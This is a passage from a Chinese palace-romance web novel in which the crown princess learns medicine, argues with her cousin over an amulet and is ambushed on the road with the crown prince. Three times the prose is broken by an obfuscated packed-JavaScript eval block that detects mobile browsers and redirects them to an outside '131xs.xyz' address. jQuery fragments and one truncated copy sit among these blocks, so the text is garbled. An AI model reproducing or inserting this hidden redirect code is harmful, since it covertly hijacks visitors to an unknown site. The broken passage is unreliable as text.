听罢此言,顾玉初对这般伤害习以为常,他神色未变,径直说道:“按照祖制,元后所出即为嫡长,儿臣乃先皇后遗孤,虽年龄居次,然论及嫡庶排序,当属首位。于公于私,儿臣身份皆无问题。” 三皇子还要说什么,却被大皇子拽住衣袖,暗暗摇了摇头。 话说到这步,真是够刺激了。 秋绪简直是掉入瓜田的猹,前排围观曾经在小说里都看不够的皇家八卦。 她不敢明目张胆抬眼,余光却在魏衡帝与梁皇后之间来回游移,耳朵也大了一号。 魏衡帝安如磐石,缄默不语,而梁皇后美丽的脸庞冷若冰霜,这叫她怎能不恨——就因为顾玉初是元后之子,她的两个儿子就要永居下位。 朝堂之上,论察言观色,魏衡帝才是个中翘楚,他的目光扫过梁皇后冰雕似的侧颜,深知她为此事积怨已久,便赶忙调转矛头,将炮火转向顾玉初:“储君安危关乎社稷,岂容你这般儿戏!” 顾玉初抿抿唇,低下头去。 “君子不立危墙之下,这是古训,你却不顾劝阻,一意孤行!临阳现在疫病横行、匪盗肆虐,你真当自己天神下凡?回去好好反省!” 秋绪品出来了,这番斥责中,竟然还藏着慈父的忧虑,魏衡帝真是话术高手。 然而顾玉初却纹丝不动,掷地有声道:“儿臣若因怕死不出宫墙,何谈承继大统呢?恳请父皇母后恩准,若有差池,儿臣甘愿受罚。” 他以退为进,倒显得魏衡帝虚张声势,当即语气也软下来:“唉,你这孩子,朕不过是忧心……” 秋绪听得撇撇嘴,这哪里是担心顾玉初涉险,分明是怕他借机擅权。 三皇子眼见着顾玉初打劫就要得手,有些急了,赶紧开口,语调佯装关切: “二哥,徐斐贪墨案刚过去不久,谁知道工部现在还有没有漏网之鱼?戴罪立功听起来冠冕堂皇,可二哥此时不该彻查工部,以清内里吗?” “三弟所言极是,此次赴灾区,正是清理工部的良机。孤要看看朝廷银子养了哪些尸位素餐之徒,谁真干事,谁徒有其表,届时自见分晓。” 顾玉初深色镇定,“儿臣只带少量亲卫和工部属官,仪仗从简,每日快马向父皇母后奏报行程灾情。” “若有逾越礼制之事,但凭父皇母后降罪。” 顾玉初显然有备而来,所言滴水不漏。 魏衡帝陷入思忖。 梁皇后始终未发一言,只要她还未表态,此事便仍是悬而未决。 御书房内陷入沉默。 未曾想,竟是顾玉初再度开口打破安静:“儿臣尚有一不情之请——若此次能允儿臣前往,恳请父皇母后,恩准太子妃随行。” 秋绪:? 什么东西?要我随行? 狗太子又来,他自己突然要出差便罢了,总要拉着她一块儿去,他们可没商量过这事儿! 话音未落,大皇子眉头紧蹙,首先投了反对票:“成何体统?太子巡视当轻车简从,岂能携带女眷……” 他猛地收声,只因瞥见梁皇后猝然皱起的眉头,以及大皇子妃撇过头的动作。 三皇子也连忙附和道,“二哥说得轻巧!表姐自幼锦衣玉食,临阳现在乱的很,若是暴民惊扰了表姐,该当如何?” 他们哥俩七嘴八舌,顾玉初却恍若未闻,只转眸朝秋绪望来。 梁皇后考量的目光此时也居高临下地落在了她的脸上,魏衡帝也关切地问道:“太子妃意下如何呢?” 又是如此,她本来正看戏看得正带劲,却猝不及防被硬生生拉上舞台,众人的目光如同聚光灯,将她照得透亮。 而这一次她却不能像上回砸锁般肆无忌惮。 这种时候,说什么都不妥。 于是她环顾一圈,最终抬眸看向了梁皇后,将这烫手山芋甩了过去。 秋绪满心无语,甚至差点呵地笑出声来。 她有什么话语权?当真以为魏衡帝是在问她的意思?她的意见不值一提,此时能左右局势的,唯有梁皇后的态度。 梁皇后端坐高位,垂眸凝视秋绪良久,半晌终于开了尊口:“既然太子夫妇同心……” “母后!”大皇子刹那间察觉出不对,难得不顾仪态地打断了皇后的话语。 “——那你们就去吧。” 大皇子似是未料到梁皇后会突然改口,连呼吸都急促了:“母后,原定可不是如此!” 三皇子亦是心急如焚,忙不迭说道:“舅父的案子尚未结清,表姐怎能去临阳呢?” “住口!”梁皇后一声斥责,如雷霆炸响,“本宫的懿旨,何时轮到你们讨价还价?” 两位皇子一惊,蓦地跪地,惶恐道:“儿臣绝无此意。” “哎,莫要再争了,何苦这般争吵。”魏衡帝摆了摆手,“临阳百姓水深火热,你们兄弟俩倒有闲心在此斤斤计较。” 嗔这一句,他又换了张慈父脸,“皇后与朕既已决断,你们当好生帮助兄嫂弟妹。” 言罢,此事算是敲定。 魏衡帝又看向秋绪,温和道:“太子妃,届时太子恐怕要忙于水利事宜,你便主要负责医疗方面,如何?稍后你与太医院对接一番。” 顿了顿,他不知想到什么,竟笑起来,“太子妃仁心仁术,若能在赈济时多露几次面,给灾民亲手侍奉汤药,再加上太子治水的辛劳,百姓看在眼里,记在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553120|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头,也是我大魏的福泽。” 秋绪闻言一顿,难以置信地抬眸。 魏衡帝见她似是不解,又大发慈悲地提点一句:“太子妃可莫要嫌朕啰嗦,这民心啊,最是要哄的 。” 这伪君子,不就是在让她利用形象来政治作秀,收买人心? 秋绪心头仿似有火在烧,面上却笑了:“父皇想要虚名,喂十碗汤,都不如减半笔税 。” 此话一出,魏衡帝当即面色不好,正欲说什么,顾玉初却拽着秋绪的袖子,两人同时俯身,恭声应下了这差事,直把他的话堵了回去。 御书房的会议结束,众人也陆续离去。 秋绪不好与顾玉初表现得过于亲密,迟一步出来,他已经不见踪影。 她沿路慢走,直到转过落英纷飞的回廊,才发现他在前方抱臂而立,影子拉长,显然是在隐蔽处等她。 秋绪三两步上前,顾玉初听到声响转过身来,随意伸手拂去落在她肩头的小小花瓣,好笑道:“瞧你这神色,这么生气啊?” “这么多年你怎么忍他的?真是厚颜无耻!”秋绪咬牙切齿,说罢又抬眸瞪顾玉初,“还有你,怎么又不跟我通个气儿,突然让我唱了这一出。” 不知怎么,她鬼使神差地看向了他的唇,又马上将目光弹开。 提及此事,顾玉初倒是一脸无辜:“原想着把事情办妥,回东宫再同你细说,怎知父皇会召你过来?”他想想道,“或许有你在,梁皇后点头会更快些。” 事实的确如此。 她郁闷地说:“梁皇后应得这般痛快,真是挖好坑等咱俩往里跳呢。” 于梁皇后,虽说大皇子错失立功之机,但能将顾玉初推向更为凶险之境,着实是稳赚不赔的买卖,不过是舍弃她这一枚棋子罢了。 顾玉初见状莞尔:“这道路就没有平整地儿,好了,回去同张总管说一声,过几日我们就要启程了。” 秋绪连说话的力气都没了,胡乱比了个三,头也没回地走了。 她还未走出多远,就被一位宫人匆匆拦住:“太子妃殿下,皇后娘娘有要事与殿下相商,还请随奴走一趟。” ……这种放学后被班主任单独留堂的感觉,真是久违了。 秋绪悄无声息地跟在宫人身后,不多时,便来到一处偏殿,梁皇后正站在殿中央,身姿优雅,却又透着一股不怒自威的气势。 她上前道:“母后,臣妾来了。” 梁皇后闻言转眸看来,冰冷的目光落下:“可知如何将功赎罪了?” 秋绪垂眼,恭敬应道:“臣妾知晓。” 梁皇后允她随行,自然就是要将顾玉初抢来的差事搅得一团糟才好。 他越渴求,便让他事事不如意,若能身败名裂,甚至命丧临阳,更是再好不过。 梁皇后敏锐察觉到秋绪面色不佳,她思虑片刻,忽然伸手抚上秋绪的肩头,顺着手臂一路下滑,最终稳稳地握住了那只不安的手。 她的声音忽然温和起来:“阿绪,这些时日,难为你了……从小到大,你都是个懂事的好孩子,别着急,福气在后头呢。” 秋绪:“……” 她下意识吞咽一口,心道要不还是骂她两句吧,梁皇后突然的温柔让她好害怕。 紧握住她的那只手柔软滑腻,可秋绪现在浑身不自在,只能强忍不适,颔首低声道:“能替母后分忧,是臣妾的造化。” “好孩子,以往你做事就沉稳,以后更要如此。”梁皇后夸赞完,不轻不重地用力握了一下秋绪的手心,“莫要让我失望,去吧。” 秋绪如蒙大赦,忙不迭行礼,扭头就逃离这令人窒息的偏殿。 而梁皇后仍立在原地,望着她迈过门槛,唇角那抹温和笑意渐渐凝固。 并不明亮的日光从窗外落在她明艳的侧脸,切割了阴阳昏晓,竟有半面菩萨半面修罗之感。 半晌,她倏地眯起眼,轻轻嗤笑:“呵,凤仪之命么……” 23.我听不懂 秋绪还以为梁皇后留堂是为了给她进行具体的作业指导呢,结果只是鼓励一番就放她走了,明显是要她自由发挥。 这般情形,便牵扯到揣摩圣意了,其实事情做得好坏倒在其次,重要的是得要领导满意。 秋绪心事重重地叹口气,被梁皇后寄予厚望真够令人毛骨悚然,指不定她和系统是一伙儿的呢,都要顾玉初的命。 待她赶回东宫,还未来得及歇上半刻,便有宫人来报:“殿下,太医院的大人们到了,此时都在偏殿候着呢。” 她惊讶道:“这么快!” 太医院的效率竟然这么高,还以为要等到明日才开始接洽呢。 刚踏入偏殿门,秋绪便见到堂中乌木椅子上端坐着一位老者,身边立着个青年。 两人见到她,齐刷刷起身作揖,老者道:“老臣太医院院判洪窦,见过太子妃殿下。” 青年亦道:“微臣于元。” 好家伙,这俩人名字真般配啊,合起来叫红豆芋圆,听上去很好吃。 洪院判言辞恭谨道:“今日冒昧求见殿下,实因灾区水患已致疫病,臣奉圣上旨意,特来与殿下接洽赈灾医事,望能助殿下厘清头绪,免得到时临阵无措。” 话音刚落,于太医将一摞书籍放置在桌上。 洪院判指着书说:“此乃医学基础,以及历年治水灾疫病的纪要,分为三卷,臣拟定分三日为殿下粗略讲解。” 秋绪:? 不、不是,三日讲完这么多吗?是不是有点太高看她了?别说消化了,光是这么多字她都不一定看得完。 “好了殿下,我们今日先将基础融入‘临灾五要’之中讲授,此乃到灾区后,刻不容缓之事。” “好、好的!” 没有一点点防备,秋绪就这样开始了她的医学之路。 半个时辰前,她还在御书房吃瓜,冷不丁弯道超车得知要去赈灾,然后被梁皇后单独叫去威胁一番。 这时候,本应该认真思索接下来该如何保命,结果她现在却坐在课堂,认真听讲。 说实话她还是有些“我是谁我在哪我在干什么”的茫然,但来不及了老师已经开讲了啊啊啊先写完这条笔记! 方才她还担心要如何一口吃成胖子,结果在开始上课后,她就不担心了。 因为明显洪院判对她期望寥寥,并未将她视作可堪造就的学生,不过是碍于皇帝之命,这才前来授课。 洪院判慢悠悠地说:“殿下要记住,见着血污切莫惊叫。” 秋绪:“……” 这叫什么话? 是不是有点太看不起她了? 秋绪绽放一个端庄的微笑:“院判说笑了,本宫每个月都见血,没有你想的那般弱不禁风。” 一句话就将洪院判堵了回去,偏生又不好继续这个话题,只能吹胡子瞪眼无语凝噎,倒是旁听的于太医忍不住偏过头笑了。 开玩笑,她可是今天怼过皇帝的人,难道还会害怕区区一个院判? 红豆芋圆二位太医都是军医出身,脾性都较为秉直,太子虽然脾气不佳,任性妄为,好歹也曾滚过沙场,吃过苦头。 可面对太子妃这位金尊玉贵的千金小姐,洪院判就满心忧虑,这般在锦绣堆里长大的娇小姐,若是到了灾区,说不定还得要人伺候。 因此,尽管洪院判表面客气,言外之意却是盼她莫要拖后腿,只要在一旁安分待着,不随意发号施令,他们便感激不尽了。 秋绪本非对他人专业指手画脚之辈,当即表明:“本宫不过略尽绵力,治病救人之事,还得仰仗院判与诸位太医尽心竭力。” 双方说罢一番冠冕堂皇之词,互相都明确了一下底线后,课业仍要继续。 但是秋绪有点撑不住了,抱着课本感受到久违的课堂瞌睡…… 洪院判讲课慢条斯理,特别热爱引经据典,引古证今,满口生涩的文言文,即便只是医学基础,秋绪听着也颇感吃力。 她好歹上辈子也是在医院泡了许久的资深病患,对基本的医学知识说不上精通,多少也耳濡目染。 可现在,那些听惯了的医学术语,经过洪院判的一番包装,愣是变成完全无法参透的玄奥。 她听着听着,眼神就渐渐发直了。 脑袋里的饼状图一分为二,一半“这是什么?”,另一半“这又是什么?” ……这就是强者的世界吗? 这堂课足足两个时辰,每分每秒都是煎熬,给秋绪来了个从启蒙到放弃。 待两位太医离开东宫时,她只觉得脑中一片空白,整个人陷入一种空灵超脱的奇异状态。 今日的感想是,你们医学生连这个都能挺过去,还有什么事情是做不到的呢? 兰心捧着蜜茶进来时,一眼便瞧见太子妃瘫在椅子里,袖子垂在地面,整条咸鱼没了半分生气的模样。 “殿下!”兰心吓了一跳,慌忙上前查看,却被秋绪“呜哇”一声抱住腰,“殿下怎么了?” 秋绪开始佯装大哭:“太难了!兰心,怎么办呀,我听不懂!” 兰心赶忙捧起她的脸,确认她并未真的落泪,这才松口气,轻柔地摸摸道,“殿下金枝玉叶,哪里就真的要通岐黄之术,左右不过学些粗浅知识,到临阳后,不手忙脚乱就好。” 她搂着兰心不肯放手,嘟嘟囔囔:“太子妃学不会很丢人的。” 兰心想想道:“奴听闻,洪院判就是如此风格,太医院里但凡听过他课的人,皆是怨声载道,明日或许是于太医授课,他性格温和,想必会好很多。” 秋绪一听她还有救,勉强宽慰些许,这才接过蜜茶,小口小口喝起来。 兰心见她好受些,便也放了心,给她整理片刻已然松散的发髻,忽然轻呼:“哎呀,方才梁家的小少爷又来了,侯了半个时辰呢,奴被殿下这副样子唬得竟给忘了。” 秋绪呛了口茶:“他怎么来了?” “许是听闻殿下要去临阳,梁小少爷放心不下,便过来看看。” 秋绪一时犹豫,见?还是不见? 她真是没想到在这紧要关头,梁翊辰竟然还敢跑来东宫,许是上回装病之事,把他吓坏了。 还是得同他说清楚,总是避开,反倒会让他起疑心吧。 秋绪这般想着,往前殿去,大老远便瞧见梁翊辰正在焦躁地来回踱步。 她迈步而入,轻声唤了句辰哥儿。 梁翊辰闻声猛地转过头来,整个人如离弦之箭三两步冲过来:“阿姐!他们说你要去临阳!” 她刚停住脚步,少年已经站至眼前,满目焦急地拽住她的袖子:“万万不行!不能去!” “阿姐,你这病才初愈,怎能去那等凶险之地?你可知那里诸多地方都被水淹了,比护城河还污浊,遍地都是尸体,你本就体质孱弱……” 秋绪忙道:“我的身体现在已经无大碍了,何况有太医院随行,你不要担心。” “太医院?”梁翊辰惊呼道,“这如何使得?跟着太医,岂不是每日都要与病人接触?倘若染上什么传染病、瘟疫之类的,该如何是好呀?阿姐,你还是莫要去了,听我的……” 秋绪根本插不上话。 梁翊辰,大魏新说唱没你我不看。 于是她直接用一句话直接截断梁翊辰滔滔不绝的絮叨:“此乃母后的意思。” 梁翊辰一听她搬出梁皇后,眼神便黯淡了。 姑姑的权势与手段,他心中有数,她一旦做了决断,无论如何都不会更改。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561302|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是他看着眼前阿姐那憔悴的模样,分明不是心甘情愿前往,肯定是姑姑逼迫于她。 他忽然下定决心道:“我这就去求姑姑收回成命,哪怕让我代阿姐去亦无妨,只要阿姐能平平安安地留在京城。” 言罢,梁翊辰便要转身离去,却被秋绪一把拽住:“胡闹!你疯了不成?” “我没疯!”他转过脸来,满是委屈,“阿姐,太子麾下能臣辈出,何苦非要你随行呢?” “辰哥儿,你冷静些。” 秋绪声音也放软,“你且想想,随行有属臣,有太医,有亲卫,有侍从,一滴脏水都近不得我身,你放宽心,可以吗?” 梁翊辰仍是接受不了:“我怎么能放宽心?阿姐要是出事儿了,我又该怎么办?” 秋绪见与他说不通,也无心与他纠缠:“那你去吧,去跟姑姑说,你不让我去,要代替我去,你且看看她如何数落你。” 梁翊辰闻言,忽然就陷入沉默。 梁皇后定然会指着他的鼻子斥责:“你父亲如今尚在狱中,你作为梁家的继承人,即便暂时还担不起重任,怎可这般肆意妄为?!” “自从阿姐出嫁,未过多久,父亲就出了事儿,此后祖母卧病在床,母亲整日以泪洗面。” 他垂着头,轻声说,“我好害怕,阿姐,我不想失去阿姐了……你说,咱们家怎么就变成这副模样了?” 秋绪听罢,一时无言。 这大抵是梁翊辰经历过最大的挫折了。 她只好伸手拍拍他的肩头。 梁翊辰再次抬头时,眼尾还泛着红:“阿姐,是我鲁莽了,你别怪我,我不会再添乱了。” 他抽抽鼻子,而后从怀里拿出一枚小巧的玉珏,塞到秋绪手里。 “这是我从天圣宫求来的护身符,可灵验了!之前秋狩的时候,就是它保护我从虎口脱险,现在已经来不及再去天圣宫求一个了,这枚就送给阿姐,保佑阿姐平安归来吧!” 秋绪掌心骤沉,下意识抚摸玉珏一瞬,便要抬眸说话,却发现梁翊辰的目光越过她的肩膀,看向了她的身后。 他顿了一瞬,才拱手行礼,低声说道:“见过太子殿下。” 顾玉初回来了?! 她急忙回头,手里还捏着那枚玉珏。 在门廊的尽头,顾玉初抱臂倚在廊柱,暮色在他修长的身形边缘勾了层赤金,也不知道他在那儿听了多久。 见到他们二人望来的目光,顾玉初才慢慢直起身子,一步步地朝这边走来。 秋绪一见他阴沉的脸色与极具侵略性的眼神,就知道情况不妙。 果不其然,他径直走来,从秋绪手中掂起那枚玉珏,翻来覆去地观赏。 秋绪心里暗暗叫苦,她根本没有要收下的意思,只是梁翊辰直接塞过来,她才下意识看一眼,正打算还给他呢,顾玉初就来了。 这找谁说理去啊? 顾玉初打量着那枚玉珏,忽然冷笑一声,手腕翻转间,毫不客气地将玉珏拍在梁翊辰胸口,力道震得少年踉跄着后退半步。 “东宫亲卫个个儿能当百骑,倒没听说过要带着这孩童把件才能上阵杀敌。”他居高临下地说,“有孤在,自然会保护太子妃周全,不需要你这劳什子护身符。” “顾玉初!”梁翊辰也是个血气方刚的少年,受到这样的挑衅,顿时怒火中烧,“我和阿姐的事情,跟你有什么关系?!” 在这剑拔弩张的气氛中,秋绪叹息一瞬,有一种迷之世界爆炸我睡觉的从容。 她竟然还有心思感慨,敢这样和太子说话的,恐怕也只有梁家人了。 见梁翊辰发怒,顾玉初眼神冰冷,却笑得更甚,一字一顿地说道:“听不懂话吗?孤说不、需、要。” 24.利刃出鞘 曾经的秋绪,顶级怂包,见到虫子让出房子,轻微讨好型人格,只会生窝囊气。 现在的秋绪,斧头破锁,怼过皇帝,亲过太子…… 不对这个不算,再加上一条上过文言文医学课,战绩可查。 她已经不是原来的她了,所以真的没有很多耐心去调解面前这两位心理年龄不超过八岁的小男生莫名其妙的吵架了。 啧,偏偏都还是很难哄的货色。 如果可以,秋绪蛮想一人一巴掌,给他俩通通打晕过去。 她进屋拖了一把椅子,坐下听他们吵。 原本秋绪此番来见梁翊辰,是想劝他收敛收敛,别有事没事往东宫跑,不仅不妥,她还得担心在亲密的弟弟面前,身份有暴露的危险。 然而此时,梁翊辰正怒目圆睁地对顾玉初说:“顾玉初,你从小就随身携带先皇后给你的护身符,有什么资格说我?” 嘶—— 秋绪暗暗咋舌,顾玉初今天出门该翻翻黄历,怎么大家伙儿光逮着他捅刀子呢? 梁翊辰所说的护身符,即是林皇后给顾玉初佩戴的冻玉海棠。 而顾玉初仍是那副冷若冰霜的样子:“实在不巧,那只是母后的美好寄托,而孤向来不信神佛,随身携带,只因那是母后遗物。” 梁翊辰一时语塞,只能色厉内茬地重申道:“总之!这护身符,只要我乐意送,阿姐乐意收,与你无关!” 听到这里,秋绪赶紧趁机澄清:“没这回事,我可没乐意收。” 梁翊辰眼眶泛红,如小狗般泫然欲泣:“阿姐你怎么了?连我送个礼物都要看他脸色?” “不是,哎呀,说不清了。” 秋绪迅速找了个借口,“辰哥儿,阿姐知你心意,可是这玉你还是自己留着吧,本就是你求的,换了人佩戴,可就不灵了。” 梁翊辰看着怕是要碎了,连声音都哽咽:“阿姐,你在东宫是不是过得很委屈?是不是他欺负你?你是不是很害怕?” 秋绪:“……” 祖宗哎,你能不能闭嘴了。 不能再听他说下去了,这位大魏说唱歌手已经用上排比,下一步可能要押韵了。 她当机立断,站起身来,将梁翊辰的身子一扭,让他面朝大门,然后一个用力推他脊背:“快走!别在这添乱了。” 梁翊辰一步三回头,眼眶边缘坠着一颗没有落下的泪,像一只被抛弃的小狗。 瞧他这样,秋绪也有些于心不忍:“改天我亲自去天圣宫求个平安符,好吗?” 梁翊辰这才神色稍缓,冲她招招手,大声喊道:“祖父祖母还有母亲都记挂阿姐呢,得空一定要回来看看!” “知道了,快走吧。” 秋绪望着他终于离开的背影,长长叹口气,转身正要开口,却发现厅堂内已经空无一人。 殿外已是暮色浓重。 她走出来,奇怪道:“太子呢?” 兰心指指:“刚沉着脸往紫宸殿去了。” 可当秋绪到了紫宸殿,宫人又说,太子方才急匆匆离开东宫,似是有公务在身。 直至夜幕降临,听闻太子已归,她便又来了一趟紫宸殿,但没见到顾玉初,出来迎她的是阿山,满脸歉意地垂首道:“殿下操劳过度,已然安歇,要不,太子妃殿下明日早些来吧。” 秋绪一抬眸,望向阿山身后灯火犹明的寝殿,指甲都掐进手掌里。 分明醒着,不过是不愿见她罢了。 这家伙是怎么回事?一件小事就这般动怒,连见都不愿意见她了? 况且她自问并未做错任何——到底要如何天赋异禀,才能既能扮作梁家贵女维系与养亲关系,又得防着顾玉初疑心猜忌? 想到此处,秋绪心里也来气,当即一扭头,径自回了昭明殿,此后数日,再也没有去紫宸殿找顾玉初了。 拜托,她也很忙! 从第二天起,授课之人就换成于元于太医,大概是洪院判觉得,她这零基础的学生,实在用不着他这位泰山北斗亲自教导,简直暴殄天物。 一大早,她才刚抵达偏殿,抬眼便见于太医仪表堂堂,浅笑行礼。 “昨儿臣整理了一本病历册,实例能让殿下对医学概念有更好的理解。”他显然是知晓昨天秋绪被洪院判折磨得不轻,特例给她翻阅以往记录的相关材料。 确如兰心所言,于元虽是军医出身,却天生一副温润如玉的模样,脾性也极好,他的教学方式与洪院判截然不同,尽量运用通俗易懂的话,和形象贴切的比喻,将知识讲得深入浅出,妙趣横生。 秋绪不禁感叹道,于太医口才极佳,真是远胜那院判,结课之时,她万分真诚地说:“日后若有于太医的讲堂,定要留本宫个席位。” 于太医笑道:“殿下,咱们马上要前往临阳,实战才正要开始呢,虽然殿下金尊玉贵,无需亲自动手操劳,但多看看,也没有坏事。” “那本宫还能继续跟于太医学习!”秋绪从她的银杏叶收集箱里挑出一枚漂亮的叶子,“此叶便作拜师帖了,师父勿要嫌弃寒酸。” “微臣不敢!”于元连忙行礼,“微臣能帮上殿下,已是莫大荣幸,不过,叶子可以收下。” 他珍重地将叶片夹在随身的本子里,学着方才秋绪的话夸她,“太子妃殿下聪慧勤勉,一点就通,微臣也教得很轻松,若日后有讲堂,定会给殿下留个席位。” 甭管这话是否出自真心,秋绪听着心里还是美滋滋的。 在这段时间里,秋绪和顾玉初没有再见面。 虽然那天晚上她确实在赌气,但碍于本就心大,而且很会哄自己,所以第二天就差不多忘干净了。 只是偶尔想起来,仍然觉得顾玉初莫名其妙给她甩脸子好过分,才不想热脸贴冷屁股。 但不管如何,他们还得一同前往临阳。 天刚破晓,昭明殿就已然烛火通明,秋绪被兰心和桃溪从温暖被窝里挖出来,睡眼惺忪地用过一顿早膳,随后端坐梳妆台前,套上层层叠叠的华美礼服与凤冠。 待她终于被簇拥而出,沿着青石板路前行,远远便望见了顾玉初挺拔的背影。 听见脚步声,他回首瞥了她一眼,未发一言,径直朝着外面走去。 这一幕似曾相识,宛如他们成婚次日的清晨,她忽然想起,由于他请了病假,他们还没有行过合卺礼呢。 太子夫妇出发赈灾抚民,此事极为重大,必须摆开储君仪仗。随着宦官高唱起驾,朱漆宫门次第洞开,整个车队浩浩荡荡地启程。 途径大街时,许多平民纷纷挤在道路两旁看热闹,秋绪撩开车帘一角,映入眼帘的是一张张好奇又热切的面庞。 真有烟火气呀! 卖花娘鬓边的山茶还带着露水,稚童坐在家里大人的肩上,卖力地啃着手里的糖葫芦串,还有做早点的铺子,老板正不断吆喝着。 随着秋绪露出脸来,人群们碎碎念的声音也不断地飘了过来。 “太子妃殿下!是太子妃!” “砸锁秋天王!” “好美!好端庄!” “这么远看得清吗?” “看不清。” “远远看一眼都觉得美极了!” 秋绪听着那些话,不禁莞尔,对着他们挥手示意,人群顿时爆发出一阵欢呼。 她的心情也随之明朗起来。 直至出了京城许久,仪仗一收,兰心先为秋绪卸下珠翠,换上舒适的燕居服,而后她换乘一辆轻便的马车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611204|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她才刚坐下,车帘就被轻轻一掀,顾玉初躬身钻进了马车。 两人目光骤然交汇,又各自移开视线。 双方缄默不语。 秋绪并未理会他,自顾自地拿出笔记小本本,开始认真背诵上面的内容。 城外之路,远不及京城内的宽阔平坦,马车愈发颠簸摇晃起来。秋绪已无法看清任何字迹,索性将笔记本收起,望见窗外的烟雨里,远山似雾霭般朦胧缥缈。 顾玉初亦无意搭理她,坐定后便将双臂抱于胸前,闭目养神。 反正他未睁眼,秋绪便毫无顾忌地打量他。 数日不见,那张脸依然俊美,只是整个人的气场又似以往那般冷峻威严,令人难以亲近。 忽然觉得自己真的很厉害。 若在一个月前,她绝无可能想象自己竟敢与太子殿下冷战。 却也不知为何会如此? 他们之间甚至没有争执,便陷入沉默。 导致秋绪张了张嘴,最终又将话咽了回去。 不知过了多久,窗外的雨也大了起来,噼啪击打车顶的声音很是催眠。 秋绪歪在软枕上,闭着眼睛,思绪昏沉。 恍惚间,好似有嘈杂声传来,甚至还有刀剑相交之声,她听得并不真切,难道外面真的打起来了? 耳畔忽然炸开锐器破空的嘶鸣,一支羽箭划破空气,径直刺穿马车的窗帘—— 铮!!! ——钉在了她的面前。 秋绪瞬间被吓至清醒。 箭矢的速度极快,快到她根本没看清轨迹。 而顾玉初的速度却更为惊人,就在箭矢刺破窗帘的刹那,他的小臂已经横拦在她腰间,一把将她抱至怀中。 多亏如此,那支羽箭现下扎透的是车壁,而不是她的太阳穴。 此时忽然有刺客侵入马车,顾玉初忽然拽过旁边的斗篷,将她兜头裹住:“别看。” 他身上的气息铺天盖地而来,秋绪蜷缩着,隔着布料听见锐器没入身体的闷响,再是被一脚踹出去的声音。 马匹发出嘶鸣,车身突然剧烈摇晃,他俩同时往后跌,斗篷滑落,她正好看见有长枪突刺入窗,急忙一避,寒芒堪堪擦过鬓角。 顾玉初一手护着她的后颈,直接伸腿一勾,抽过枪柄顺势下踩,辗转间,长枪的枪身硬生生断成两截,尖端被送进刺客胸膛。 他掀起车帘,雨幕斜侵。 秋绪瞥见外头泥泞中横着数具蒙面尸首,大雨与鲜血混在一处,而刺客的镜中远未结束。 “低头!” 顾玉初一揽秋绪微颤的后腰,反手攥紧夺来的半截枪杆横扫,骤然击落飞来的箭矢。 而后,他将长枪横截当胸始终保持警惕,留意着外面的动静。 过了许久,车外的声响渐渐平息。 顾玉初依然单手拎着长枪,身上皆是飞溅的鲜血,气场肃杀,对着前来查看的阿山吩咐道:“去查查身份。” 秋绪想起上回在枕洲渡口,他隔岸观火时浑身紧绷,眼底燃烧着灼灼战意的模样。 这与在东宫批阅奏折时凝眸的太子殿下,或在昭明殿眉目闲散逗她玩儿时的郎君判若两人。 ——他才不是什么端坐明堂的玉面储君,而是是柄渴血的利剑,连着剑鞘时寂静无声,可一旦出刃,必要收尽敌人最后一滴血。 她一抬眼,恰好对上顾玉初望来的目光。 视线交错间,暗流汹涌,他周身的煞气莫名渐渐褪去,他忽地俯身迫近,独属于他的药香混着铁腥味扑在她的眼睫,惊了她一跳。 他的面庞近在咫尺,弯唇一笑,美得惊心动魄:“都说了,孤能保你,这庇佑可远胜一百枚护身玉珏。” 25.他好熟练 “都说了,孤能保你,这庇佑可远胜一百枚护身玉珏。” 秋绪:??? 怎么又有玉珏的事儿了! 见她茫然,顾玉初不满地又迫近些,几乎要与她鼻尖相触。 他墨发尽束,深邃眉弓压着寒潭似的黑眸,紧紧地盯着她看,下颌处溅上的血迹浓烈,明明是凶戾的痕迹,却又无端给他添了一丝诡艳。 “太近了——”秋绪仰着脸将他往后推,抗议道,“殿下,正常人聊天不会凑这么近的!” 顾玉初被她拒绝,顺势直起身来,抱臂环胸,眼神冰冷地俯视,仿似已经判定她狗嘴里吐不出象牙。 秋绪垂着眸子,咬住下唇——该死现在不是笑的时候,真笑出来她可就完了——勉强将那险些溢出的笑意憋回去。 方才她还沉浸在顾玉初宝剑出鞘般凌厉的气势中,冷不丁地,他却陡然褪尽锋芒,显出三两分幼稚少年的臭屁混劲儿,瞬间将她从那沉凝氛围中拽回现实。 算了,说到底也不过是个二十岁出头的青年人,既有深仇大恨横亘在前,顾玉初面对仇人之子,再百般别扭都是天经地义。 她剖析完毕他的心理过程,暗地点点头,觉得自己就是大魏第一心理专家,牛得很,全然没有将那点小波动与感情作任何联系。 